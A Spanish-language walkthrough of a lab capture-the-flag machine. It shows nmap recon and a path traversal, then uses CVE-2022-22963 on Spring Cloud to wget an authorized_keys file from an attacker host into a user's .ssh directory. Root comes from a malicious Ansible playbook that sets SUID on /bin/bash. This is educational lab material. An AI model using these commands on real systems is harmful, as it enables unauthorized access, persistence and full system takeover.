Reconocimiento

Comprobamos la disponibilidad de la máquina objetivo:

1

 ping -c 1 10.10.11.204

1
2
3
4
5
6

PING 10.10.11.204 (10.10.11.204) 56(84) bytes of data.
64 bytes from 10.10.11.204: icmp_seq=1 ttl=63 time=46.0 ms

--- 10.10.11.204 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 45.959/45.959/45.959/0.000 ms

ttl = 63 por tanto nos enfrentamos a una máquina Linux por proximidad.

Comprobamos los servicios expuestos:

1

 nmap -p- --open -T5 -Pn -n 10.10.11.204 -oG openTCPports

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-23 10:42 CET
Nmap scan report for 10.10.11.204
Host is up (0.089s latency).
Not shown: 43330 closed tcp ports (reset), 22203 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE
22/tcp   open  ssh
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 34.26 seconds

Extraemos los puertos relevantes y lanzamos una serie de scripts de reconocimiento predefinidos por nmap para recopilar información sobre los servicios expuestos:

1

 grePorts

1

 [!] Open ports: 22,8080

Nmap:

1

 nmap -p22,8080 -sVC 10.10.11.204 -oN servicesTCPports

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-23 10:52 CET
Nmap scan report for 10.10.11.204
Host is up (0.091s latency).

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA)
|   256 d51c81c97b076b1cc1b429254b52219f (ECDSA)
|_  256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519)
8080/tcp open  nagios-nsca Nagios NSCA
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.56 seconds

Obteniendo acceso a la máquina víctima

Directory Path Traversal

Echando un vistazo a la página web accesible a través del puerto 8080 llegamos a un punto donde subir los archivos; a pesar de intentar pasar algunas restricciones, no se puede subir un archivo php, solo acepta imágenes; jugando un poco con las peticiones al subir imágenes:

Vía potencial para poder listar directorios y ojear archivos del sistema:

Dos usuarios potenciales: phil y frank. Veamos si podemos extraer algo de información relevante de los directorios de estos usuarios:

Echando un vistazo a los archivos con los que está construido el sitio web no parece haber opción de pasar las restricciones y subir algún archivo php. La contraseña anterior tampoco sirve para el usuario phil, por lo menos para ssh. Por lo que habrá que seguir indagando.

CVE-2022-22963(RCE)

La web está programada sobre el framework spring; echando un vistazo al “pom.xml” del proyecto maven podemos ver esto y la versión de las dependencias. Con una breve búsqueda podemos encontrar la vulnerabilidad que afecta a Spring Cloud y la cual nos dará la posibilidad de ejecutar comandos de forma remota: CVE-2022-22963.

Automatizo el exploit para solo tener que introducir el comando pertinente, puedes verlo aquí o en la página de CVE exploits.

Ya con esto podríamos obtener una “reverse shell”, pero prefiero obtener una consola por ssh; creo un nuevo par de claves inicio y simple servidor web con Python y:

1

 ./spring_cloud_functionCV 10.10.11.204:8080 'wget http://<htb-ip>:12345/authorized_keys -O /home/frank/.ssh/authorized_keys'

1
2
3
4

[!] RCE: The command has been executed
  [+] Host: 10.10.11.204:8080
  [+] Command: wget http://<htb-ip>:12345/authorized_keys -O /home/frank/.ssh/authorized_keys
  [+] Status: OK

Finalmente:

1

 ssh frank@10.10.11.204 -i injectrsa

Escalada de privilegios

Escalada de privilegios de usuario

Una vez dentro como el usuario frank utilizamos la contraseña para phil que anteriormente hemos visto:

Lo más relevante es que pertenecemos al grupo ‘staff’. Vemos la flag del usuario.

Escalada de privilegios vertical a root

Tras buscar un poco encuentro un directorio en opt sobre el que el grupo “staff” tiene permisos; en él hay un archivo yaml llamado “playbook”. Esto parece ser una tarea automática de ansible.

Echo un vistazo a ver si encuentro la tarea de automatización:

1
2
3
4

while [[ 1 -eq 1 ]]
do
 ps aux -u root | grep ansible
done

Y el script recopila lo siguiente lo siguiente:

1

root       10216  0.0  0.0   2608   596 ?        Ss   13:04   0:00 /bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml

Por tanto preparamos un archivo siguiendo la sintaxis YAML para que ejecute un comando como root siguiendo la tarea programada:

1
2
3
4
5

- hosts: localhost
  tasks:
    - name: "4rticf0xwashere"
      shell: "chmod +s /bin/bash"
      register: "output"

Con esto le damos permisos suid a bash y podemos obtener permisos de administrador.